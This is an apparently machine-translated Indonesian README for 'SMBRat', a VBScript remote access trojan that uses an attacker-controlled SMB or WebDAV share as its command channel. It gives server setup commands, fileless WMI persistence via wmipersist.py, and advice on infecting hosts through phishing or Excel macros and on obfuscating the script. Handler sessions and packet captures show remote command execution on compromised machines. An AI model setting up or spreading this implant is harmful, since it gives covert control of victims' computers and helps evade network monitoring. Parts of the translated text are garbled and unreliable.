Alat Administrasi Jarak Jauh Windows dalam Skrip Visual Basic
Lingkungan Windows seperti Jaringan Direktori Aktif , menjadi sangat penuh dengan lalu lintas SMB .
Semua host mendapatkan Kebijakan dari SYSVOL , konfigurasi memerlukan file jarak jauh agar berfungsi, pintasan desktop cenderung mengarah ke \somethingelseinthenetwork.exe .
Tidak ada yang akan menyadari adanya upaya koneksi lagi. Benar?
- Apalagi jika berhasil (sudah menjadi mode untuk hanya memonitor Firewall Denies saja)
agent adalah Skrip Visual Basic yang berjalan pada host yang terinfeksi dan terhubung ke Server SMB . Itu menciptakan sebuah direktori di sana yang diberi nama sesuai hostname host dan alamat MAC utama (berusaha menjadi unik dan informatif pada saat yang sama untuk tujuan pelaporan). Semua perintah dan info untuk Host yang terinfeksi akan disimpan di direktori ini. zip ping seluruh Folder Bersama akan mengarsipkan semua info proyek!
Itu TIDAK menggunakan huruf drive untuk Memasang Share, hanya menggunakan UNC paths untuk langsung membaca file jarak jauh (tidak ada Drive yang dibuat di explorer.exe ).
Itu juga memasukkan UNC path ke dalam variabel %PATH% dari lingkungan eksekusinya sendiri (Anda dapat menjalankan executable langsung dari sistem file mesin Linux Anda).
agent dikonfigurasi untuk berjalan satu kali . Tanpa kewarganegaraan .
Rutinitasnya (kurang lebih) sebagai berikut:
exec.dat di folder yang dibuat di SMB Sharecmd.exe /c <command> seperti shell semi-interaktif .output.dat (di sebelah exec.dat ).exec.dat . handler memerlukan Server SMB agar dapat berfungsi. Modul smbserver.py dari paket impacket Core Security bisa digunakan.
Kemungkinan besar smbd juga akan melakukan trik tersebut, tetapi belum diuji.
Diperlukan pembagian dengan nama D$ , agar terlihat seperti SMB host Windows yang sah.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Karena agent dikonfigurasi untuk hanya menggunakan jalur UNC, WebDAV juga dapat digunakan dengan zero-changes . Alih-alih server SMB, server WebDAV dapat digunakan (server WebDAV yang bagus dengan dukungan SSL adalah wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-StatusUntuk dukungan SSL, jalur UNC harus sedikit diubah, dari:
\<Server-IP>DIR
ke:
\<Server-IP>@SSL@443DIR
Perubahan ini hanya dapat dilakukan pada variabel ServerName agent.vbs , karena semua jalur dibuat oleh ini. Perlu diingat bahwa sertifikat SSL harus dipercaya oleh sistem yang menjalankan agent . Sertifikat yang ditandatangani sendiri akan gagal dengan peringatan.
Perulangan While dapat ditambahkan ke awal file agent.vbs , dengan pernyataan penundaan beberapa detik (idealnya 10 detik), dan akan dapat menginfeksi host windows dengan mengklik dua kali / phishing / makro excel / dll...
Perulangan while True di VBS dengan penundaan 1 detik terlihat seperti ini:
Do While True
[ ... ]
WScript.Sleep 1000
Loop Namun, jika host Windows memiliki RPC yang diaktifkan, dimungkinkan untuk menginstal file VBS sebagai malware tanpa file melalui WMI dan contoh paket impacket yang luar biasa dengan perintah seperti:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10 Dimungkinkan juga untuk memanfaatkan alat WMI dengan akses lokal untuk menginstal agent.vbs sebagai malware tanpa file.
Skrip Visual Basic dapat dikaburkan dengan baik, dibuat base64 dan juga diperkecil .
Akan sangat berguna untuk mencobanya sebelum "menerapkan"
Pada saat penulisan, tidak ada shell jadi penggunaannya bisa dilakukan hanya dengan menggunakan perintah seperti Handler yang diimplementasikan,watch untuk memeriksa file output.dat :
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat dan echo untuk menulis sesuatu ke file exec.dat :
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dathandler.pyShell eksperimental berfungsi sebagai berikut:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Lalu lintas ( isi dan jalur file) ditransfer dalam teks biasa jika Server SMBv1 digunakan (misalnya impacket 's smbserver.py ).
Semua Agen dapat memodifikasi file yang disimpan di Whole Share . Artinya mereka dapat memodifikasi exec.dat Agen lain... Sebuah smbmap akan menjelaskan:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually-u dan -p smbmap .Ini adalah sesi NULL (seperti login anonim FTP). SEMUA ORANG dapat mengubah File SAHAM dan mendapatkan Eksekusi Kode Jarak Jauh di semua mesin yang terinfeksi.
iptables di sini... Ketik execall netsh dan Anda kehilangan semua Agen Anda. Tidak ada yang akan merespons karena agent.vbs akan memunculkan shell netsh.exe dan akan menunggu hingga shell tersebut dihentikan, sehingga ia dapat menulis isinya ke output.dat . Tapi coba tebak... Itu tidak akan berhenti... Ini akan menggantung dengan netsh> menunjuk ke kekosongan.